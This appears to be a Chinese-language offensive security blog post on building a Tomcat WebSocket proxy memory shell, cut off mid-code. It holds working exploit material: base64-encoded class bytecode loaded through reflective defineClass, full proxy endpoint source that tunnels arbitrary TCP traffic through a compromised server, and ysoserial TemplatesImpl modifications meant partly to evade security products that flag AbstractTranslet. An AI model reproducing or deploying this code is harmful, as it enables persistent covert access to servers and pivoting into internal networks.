b = new BASE64Decoder().decodeBuffer("yv66vgAAADQAGAoAAwATBwAVBwAWAQAGY2xpZW50AQAtTGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7AQAHY2hhbm5lbAEAGUxqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkF0dGFjaAEADElubmVyQ2xhc3NlcwEAFkxQcm94eUVuZHBvaW50JEF0dGFjaDsBAApTb3VyY2VGaWxlAQASUHJveHlFbmRwb2ludC5qYXZhDAAIAAkHABcBABRQcm94eUVuZHBvaW50JEF0dGFjaAEAEGphdmEvbGFuZy9PYmplY3QBAA1Qcm94eUVuZHBvaW50ACAAAgADAAAAAgABAAQABQAAAAEABgAHAAAAAQAAAAgACQABAAoAAAAvAAEAAQAAAAUqtwABsQAAAAIACwAAAAYAAQAAABIADAAAAAwAAQAAAAUADQAQAAAAAgARAAAAAgASAA8AAAAKAAEAAgAUAA4ACA==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);

ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(Thread.currentThread().getContextClassLoader().loadClass("ProxyEndpoint"), path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());

container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}
} catch (Exception e){
}

虽然能用但是十分不优雅,为了解决这个问题 想了两个优化步骤
1、去除所有内部类,一个defineClass实现利用
2、研究反序列化的codefile能否不继承AbstractTranslet使用,不需要defineClass实现利用

步骤1 单独类实现 Websocket 代理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;

public class ProxyEndpoint extends Endpoint implements CompletionHandler<Integer, ProxyEndpoint>, MessageHandler.Whole<ByteBuffer>{
long i =0;
Session session;
public AsynchronousSocketChannel client;
public Session channel;
ByteBuffer buffer;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();


@Override
public void completed(Integer result, ProxyEndpoint attachment) {
this.buffer.clear();
try {
if(this.buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = this.buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (this.channel.isOpen()) {
this.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(this.channel,this.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(this.channel,this.client);
}
}
} catch (Exception ignored) {}
}

@Override
public void failed(Throwable exc, ProxyEndpoint attachment) {

}

@Override
public void onMessage(ByteBuffer byteBuffer) {
try {
byteBuffer.clear();
i++;
process(byteBuffer, this.session);
} catch (Exception ignored) {
}
}


void readFromServer(Session channel,AsynchronousSocketChannel client){
this.buffer = ByteBuffer.allocate(50000);

this.client = client;
this.channel = channel;
client.read(this.buffer, this, this);
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
this.session = session;
session.addMessageHandler((MessageHandler)this);
}
}

步骤1实现比较简单,去除内部类后,只会生成一个class文件,利用起来优雅了一丝。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();

byte [] b = null;
try {
if (servletContext.getAttribute(path) == null){
Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);

b = new BASE64Decoder().decodeBuffer("yv66vgAAADQBBwoAPQCRCQA3AJIHAJMKAAMAkQkANwCUBwCVCgAGAJEJADcAlgkANwCXCgA7AJgKADsAmQoAOQCaCgA7AJsKAAMAnAoAAwCdCgA7AJ4JADcAnwsAoAChCwCgAKILAKMApAkANwClCgA3AKYHAKcJADcAqAoANwCpAwAAw1AKADsAqgoAHwCrCwCgAKwKAAYArQcArgoAHwCvCwCwALEKADsAsgcAswoAOwC0CgAjALUIALYKACMAtwgAuAoAHwC5CgA5ALoHALsKACsAvAoAHwC9BQAAAAAAAAAKCQC+AL8LALAAwAgAwQsAowDCCgAGAMMIAMQLAKAAxQcAxgoANwDHBwDICgA3AMkHAMoKADcAywcAzAcAzQcAzwEAAWkBAAFKAQAHc2Vzc2lvbgEAGUxqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjsBAAZjbGllbnQBAC1MamF2YS9uaW8vY2hhbm5lbHMvQXN5bmNocm9ub3VzU29ja2V0Q2hhbm5lbDsBAAdjaGFubmVsAQAGYnVmZmVyAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAEYmFvcwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAANtYXABABNMamF2YS91dGlsL0hhc2hNYXA7AQAJU2lnbmF0dXJlAQBUTGphdmEvdXRpbC9IYXNoTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOz47AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MUHJveHlFbmRwb2ludDsBAAljb21wbGV0ZWQBACUoTGphdmEvbGFuZy9JbnRlZ2VyO0xQcm94eUVuZHBvaW50OylWAQADYXJyAQACW0IBAAFiAQABcQEABnJlc3VsdAEAE0xqYXZhL2xhbmcvSW50ZWdlcjsBAAphdHRhY2htZW50AQANU3RhY2tNYXBUYWJsZQcAWQcAygcApwEABmZhaWxlZAEAJyhMamF2YS9sYW5nL1Rocm93YWJsZTtMUHJveHlFbmRwb2ludDspVgEAA2V4YwEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEACW9uTWVzc2FnZQEAGChMamF2YS9uaW8vQnl0ZUJ1ZmZlcjspVgEACmJ5dGVCdWZmZXIBAA5yZWFkRnJvbVNlcnZlcgEASShMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247TGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7KVYBAAdwcm9jZXNzAQAxKExqYXZhL25pby9CeXRlQnVmZmVyO0xqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjspVgEAB2lnbm9yZWQBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAZ2YWx1ZXMBABJMamF2YS9sYW5nL1N0cmluZzsBAAVhcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlhZGRyYXJyYXkBAAJwbwEAAUkBAAtob3N0QWRkcmVzcwEAHExqYXZhL25ldC9JbmV0U29ja2V0QWRkcmVzczsBAAZmdXR1cmUBAB1MamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlOwEAAXoBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAvTGphdmEvdXRpbC9jb25jdXJyZW50L0Z1dHVyZTxMamF2YS9sYW5nL1ZvaWQ7PjsHAMYHANAHALMHAHMHAK4HALsHANEBAAZvbk9wZW4BADwoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnRDb25maWc7KVYBAAZjb25maWcBACBMamF2YXgvd2Vic29ja2V0L0VuZHBvaW50Q29uZmlnOwEAKihMamF2YS9sYW5nL1Rocm93YWJsZTtMamF2YS9sYW5nL09iamVjdDspVgEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEAFShMamF2YS9sYW5nL09iamVjdDspVgEABVdob2xlAQAMSW5uZXJDbGFzc2VzAQCgTGphdmF4L3dlYnNvY2tldC9FbmRwb2ludDtMamF2YS9uaW8vY2hhbm5lbHMvQ29tcGxldGlvbkhhbmRsZXI8TGphdmEvbGFuZy9JbnRlZ2VyO0xQcm94eUVuZHBvaW50Oz47TGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZTxMamF2YS9uaW8vQnl0ZUJ1ZmZlcjs+OwEAClNvdXJjZUZpbGUBABJQcm94eUVuZHBvaW50LmphdmEMAE8AUAwAQABBAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAEkASgEAEWphdmEvdXRpbC9IYXNoTWFwDABLAEwMAEcASAwA0gDTDADUANUMANYA1wwA2ADZDADaANsMANwA3QwA3gDfDABGAEMHANAMAOAA1QwA4QDjBwDlDADmAGgMAEQARQwAagBrAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAQgBDDABsAG0MAOcA6AwA6QDqDADrAOwMANgA7QEAK2phdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWwMANoA7gcA0QwA2ADvDADwANMBABBqYXZhL2xhbmcvU3RyaW5nDAByAN0MAE8A8QEAASAMAPIA8wEAAToMAPQA9QwA9gD3AQAaamF2YS9uZXQvSW5ldFNvY2tldEFkZHJlc3MMAE8A+AwA+QD6BwD7DAD8AP0MANgA/gEAJEhUVFAvMS4xIDUwMyBTZXJ2aWNlIFVuYXZhaWxhYmxlDQoNCgwA/wEADAEBAQIBACdIVFRQLzEuMSAyMDAgQ29ubmVjdGlvbiBFc3RhYmxpc2hlZA0KDQoMAQMBBAEADVByb3h5RW5kcG9pbnQMAGMAZAEAEWphdmEvbGFuZy9JbnRlZ2VyDABWAFcBABNqYXZhL25pby9CeXRlQnVmZmVyDABnAGgBABhqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnQBACNqYXZhL25pby9jaGFubmVscy9Db21wbGV0aW9uSGFuZGxlcgcBBQEAJGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZQEAF2phdmF4L3dlYnNvY2tldC9TZXNzaW9uAQAbamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlAQAFY2xlYXIBABMoKUxqYXZhL25pby9CdWZmZXI7AQAMaGFzUmVtYWluaW5nAQADKClaAQAIaW50VmFsdWUBAAMoKUkBAANnZXQBABsoW0JJSSlMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAAV3cml0ZQEAByhbQklJKVYBAAt0b0J5dGVBcnJheQEABCgpW0IBAAR3cmFwAQAZKFtCKUxqYXZhL25pby9CeXRlQnVmZmVyOwEABmlzT3BlbgEADmdldEJhc2ljUmVtb3RlAQAFQmFzaWMBACgoKUxqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWM7BwEGAQAkamF2YXgvd2Vic29ja2V0L1JlbW90ZUVuZHBvaW50JEJhc2ljAQAKc2VuZEJpbmFyeQEACGFsbG9jYXRlAQAYKEkpTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAEcmVhZAEATyhMamF2YS9uaW8vQnl0ZUJ1ZmZlcjtMamF2YS9sYW5nL09iamVjdDtMamF2YS9uaW8vY2hhbm5lbHMvQ29tcGxldGlvbkhhbmRsZXI7KVYBAAVnZXRJZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBADQoTGphdmEvbmlvL0J5dGVCdWZmZXI7KUxqYXZhL3V0aWwvY29uY3VycmVudC9GdXR1cmU7AQAUKClMamF2YS9sYW5nL09iamVjdDsBAARmbGlwAQAFKFtCKVYBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEABG9wZW4BAC8oKUxqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOwEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpVgEAB2Nvbm5lY3QBADcoTGphdmEvbmV0L1NvY2tldEFkZHJlc3M7KUxqYXZhL3V0aWwvY29uY3VycmVudC9GdXR1cmU7AQAdamF2YS91dGlsL2NvbmN1cnJlbnQvVGltZVVuaXQBAAdTRUNPTkRTAQAfTGphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0OwEANChKTGphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0OylMamF2YS9sYW5nL09iamVjdDsBAAhzZW5kVGV4dAEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQARYWRkTWVzc2FnZUhhbmRsZXIBACMoTGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlcjspVgEAHmphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlcgEAHmphdmF4L3dlYnNvY2tldC9SZW1vdGVFbmRwb2ludAAhADcAPQACAD4APwAHAAAAQABBAAAAAABCAEMAAAABAEQARQAAAAEARgBDAAAAAABHAEgAAAAAAEkASgAAAAAASwBMAAEATQAAAAIATgAKAAEATwBQAAEAUQAAAFYAAwABAAAAICq3AAEqCbUAAiq7AANZtwAEtQAFKrsABlm3AAe1AAixAAAAAgBSAAAAEgAEAAAADgAEAA8ACQAUABQAFQBTAAAADAABAAAAIABUAFUAAAABAFYAVwABAFEAAAGSAAQABgAAALkqtAAJtgAKVyq0AAm2AAuZAG8rtgAMmwBoK7YADLwITiq0AAktAyu2AAy2AA06BCq0AAUtAyu2AAy2AA4qtAAFtgAPuAAQOgUqtAARuQASAQCZABMqtAARuQATAQAZBbkAFAIAKrsAA1m3AAS1AAUqKrQAESq0ABW2ABanADkrtgAMngAyK7YADLwITiq0AAktAyu2AAy2AA06BCq0AAUtAyu2AAy2AA4qKrQAESq0ABW2ABanAAROsQABAAgAtAC3ABcAAwBSAAAASgASAAAAGgAIABwAGQAeACAAHwAvACAAPAAhAEgAIgBUACMAZAAlAG8AJgB7ACcAfgAoAIUAKgCMACsAmwAsAKgALQC0ADAAuAAxAFMAAABSAAgAIABbAFgAWQADAC8ATABaAEgABABIADMAWwBIAAUAjAAoAFgAWQADAJsAGQBaAEgABAAAALkAVABVAAAAAAC5AFwAXQABAAAAuQBeAFUAAgBfAAAAFwAF/gBkBwBgBwBhBwBh+AAZNUIHAGIAAAEAYwBkAAEAUQAAAD8AAAADAAAAAbEAAAACAFIAAAAGAAEAAAA2AFMAAAAgAAMAAAABAFQAVQAAAAAAAQBlAGYAAQAAAAEAXgBVAAIAAQBnAGgAAQBRAAAAegAFAAMAAAAdK7YAClcqWbQAAgphtQACKisqtAAYtgAZpwAETbEAAQAAABgAGwAXAAMAUgAAABoABgAAADsABQA8AA8APQAYAD8AGwA+ABwAQABTAAAAFgACAAAAHQBUAFUAAAAAAB0AaQBIAAEAXwAAAAcAAlsHAGIAAAAAagBrAAEAUQAAAGwABAADAAAAHioSGrgAG7UACSostQAVKiu1ABEsKrQACSoqtgAcsQAAAAIAUgAAABYABQAAAEQACQBGAA4ARwATAEgAHQBJAFMAAAAgAAMAAAAeAFQAVQAAAAAAHgBGAEMAAQAAAB4ARABFAAIAAABsAG0AAQBRAAACMQAEAAsAAADKKrQAAgqUngAsKrQACCy5AB0BALYAHsAAH04tK7YAILkAIQEAVyu2ACJXK7YAClenAJYqtAACCpSaAI27ACNZK7YAJLcAJU4tEia2ACc6BBkEBDISKLYAJzoFuAApOgYZBQQyuAAqNge7ACtZGQUDMhUHtwAsOggZBhkItgAtOgkZCRQALrIAMLkAMQQAV6cAEzoKLLkAEwEAEjK5ADMCALEqtAAILLkAHQEAGQa2ADRXKiwZBrYAFiy5ABMBABI1uQAzAgCnAAROsQADAIAAjgCRABcAAACgAMgAFwChAMUAyAAXAAQAUgAAAGYAGQAAAE0ACQBPABoAUAAlAFEAKgBSAC8AUwAyAFQAOwBWAEcAVwBPAFgAWgBZAF8AWgBoAFsAdwBcAIAAXgCOAGIAkQBfAJMAYACgAGEAoQBjALEAZAC4AGUAxQBoAMgAZwDJAGkAUwAAAHoADAAaABUARABFAAMAkwAOAG4AbwAKAEcAfgBwAHEAAwBPAHYAcgBzAAQAWgBrAHQAcwAFAF8AZgBEAEUABgBoAF0AdQB2AAcAdwBOAHcAeAAIAIAARQB5AHoACQAAAMoAVABVAAAAAADKAHsASAABAAAAygBGAEMAAgB8AAAADAABAIAARQB5AH0ACQBfAAAAPwAGMv8AXgAKBwB+BwBhBwB/BwCABwCBBwCBBwCCAQcAgwcAhAABBwBiD/8AIwADBwB+BwBhBwB/AABCBwBiAAABAIUAhgABAFEAAABcAAMAAwAAABIqCbUAAiortQAYKyq5ADYCALEAAAACAFIAAAASAAQAAABsAAUAbQAKAG4AEQBvAFMAAAAgAAMAAAASAFQAVQAAAAAAEgBCAEMAAQAAABIAhwCIAAIQQQBjAIkAAQBRAAAANAADAAMAAAAKKisswAA3tgA4sQAAAAIAUgAAAAYAAQAAAA4AUwAAAAwAAQAAAAoAVABVAAAQQQBWAIoAAQBRAAAANwADAAMAAAANKivAADkswAA3tgA6sQAAAAIAUgAAAAYAAQAAAA4AUwAAAAwAAQAAAA0AVABVAAAQQQBnAIsAAQBRAAAAMwACAAIAAAAJKivAADu2ADyxAAAAAgBSAAAABgABAAAADgBTAAAADAABAAAACQBUAFUAAAADAE0AAAACAI4AjwAAAAIAkACNAAAAEgACAD8AzgCMBgkAowDkAOIGCQ==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);

ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(Thread.currentThread().getContextClassLoader().loadClass("ProxyEndpoint"), path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());

container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}

} catch (Exception e){
}

步骤2 反序列化codefile不继承AbstractTranslet

为什么不继承AbstractTranslet代码执行会失败?
部分gadget通过调用getter方法能够调用到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

getOutputProperties->newTransformer->getTransletInstance,在getTransletInstance中调用了defineTransletClasses方法来生成一个类然后实例化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

在defineTransletClasses方法中,通过loader.defineClass(_bytecodes[i]);生成了类后,回到getTransletInstance方法后实例化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

在defineTransletClasses方法中,会判断defineClass生成的类的父类是否为AbstractTranslet,如果不是那么就会执行到_auxClasses.put(_class[i].getName(), _class[i]);
观察_auxClasses属性发现被transient修饰,无法通过反序列化控制值,如果直接调用_auxClasses.put会抛出空指针异常,导致代码执行中断。

private transient Map<String, Class<?>> _auxClasses = null;

再观察defineTransletClasses方法可以发现,当classCount > 1时,会对_auxClasses属性赋值HashMap,这时候put就不会再空指针异常了。

另外还存在一个_transletIndex < 0时,就会抛出异常中断的限制,_transletIndex默认为-1。 在for循环时,只有当生成类的父类为AbstractTranslet时,才会对_transletIndex属性赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}

查看_transletIndex属性时发现该属性并没有被transient修饰,那么即使父类不是AbstractTranslet也可以通过反序列化控制该属性绕过限制。

1
2
3
4
5
6
7
private int _transletIndex = -1;


private void readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
_transletIndex = gf.get("_transletIndex", -1);

所以只要满足两个条件即可实现去除AbstractTranslet
1、classCount也就是生成类的数量大于1
2、_transletIndex >= 0

在defineTransletClasses生成类后,后续会用到_transletIndex属性指定从_class属性数组中实例化哪个类,那么需要将_transletIndex属性指定为恶意类的索引。

1
2
3
4
5
6
if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();

再回到原始ysoserial的createTemplatesImpl方法中,可以发现 ysoserial在设置templates的_bytecodes属性时确实传了两个类的bytes进去。但是在之前缩短payload的浪潮中,我移除了Foo.class。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

还原Foo.class后再加上_transletIndex即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
else if(command.startsWith("classfile:")){
String path = command.split(":")[1];
FileInputStream in =new FileInputStream(new File(path));
classBytes=new byte[in.available()];
in.read(classBytes);
in.close();
System.out.println(command);
System.err.println("Java File Mode:"+ Arrays.toString(classBytes));
}


Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

//Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_transletIndex", 0);
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

Codefile 不继承AbstractTranslet

1
2
3
4
5
6
import java.io.IOException;
public class Calc {
public Calc() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}
}

依然实现了代码执行

在解决了AbstractTranslet的问题之后,反序列化的codefile就可以直接继承Endpoint了,同时部分安全产品有检测AbstractTranslet关键字,去掉之后也许也能起一些作用。
最终反序列化中wsProxy的codefile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
import javax.servlet.ServletContext;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.HashSet;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;

public class Tomcat_add_wsProxy extends Endpoint implements CompletionHandler<Integer, Tomcat_add_wsProxy>, MessageHandler.Whole<ByteBuffer>{
long i =0;
Session session;
public AsynchronousSocketChannel client;
public Session channel;
ByteBuffer buffer;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
static HashSet<Object> h;
static ServletContext s;

private static boolean i(Object obj) {
if (obj != null && !h.contains(obj)) {
h.add(obj);
return false;
} else {
return true;
}
}

private void p(Object o, int depth) throws DeploymentException, DeploymentException {
if (depth <= 52 && s == null) {
if (!i(o)) {
if (s == null && ServletContext.class.isAssignableFrom(o.getClass())) {
s = (ServletContext)o;
String path = "/proxy";
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(this.getClass(), path).build();
ServerContainer container = (ServerContainer)s.getAttribute(ServerContainer.class.getName());
if (s.getAttribute(path) == null) {
container.addEndpoint(configEndpoint);
s.setAttribute(path, path);
}
}

this.F(o, depth + 1);
}

}
}

private void F(Object start, int depth) {
Class n = start.getClass();

do {
Field[] var4 = n.getDeclaredFields();
int var5 = var4.length;

for(int var6 = 0; var6 < var5; ++var6) {
Field declaredField = var4[var6];
